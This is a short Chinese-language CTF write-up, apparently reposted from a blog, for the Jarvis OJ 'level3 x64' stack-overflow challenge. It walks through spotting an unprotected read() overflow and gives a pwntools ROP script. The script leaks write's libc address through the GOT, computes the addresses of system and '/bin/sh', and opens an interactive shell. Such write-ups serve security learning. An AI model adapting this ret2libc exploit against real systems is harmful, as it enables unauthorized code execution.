18.9.20 Jarvis OJ PWN----[XMAN]level3(x64)

解压之后有两个文件,其中一个是lib,checksec后发现没有栈保护,wo,好想知道该怎么做了

拖进IDA看一下哪里可以溢出

read函数可以溢出

然后根据偏移量把system函数和/bin/sh在内存的位置提取出来

同样采取rop代码,注意64位的传参数顺序哦

上脚本

#代码主体

write_got=bin.got['write']
write_plt=bin.plt['write']
rdi=0x00000000004006b3
rsi=0x00000000004006b1
payload='a'*(0x80+0x08)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(0x4005E6)
cn.recvline()
cn.sendline(payload)
write_addr=u64(cn.recv(8))
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
sh_addr=write_addr-libc.symbols['write']+libc.search('/bin/sh').next()
payload2='a'*(0x80+0x08)+p64(rdi)+p64(sh_addr)+p64(system_addr)
cn.recvline()
cn.sendline(payload2)
cn.interactive()

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/82780720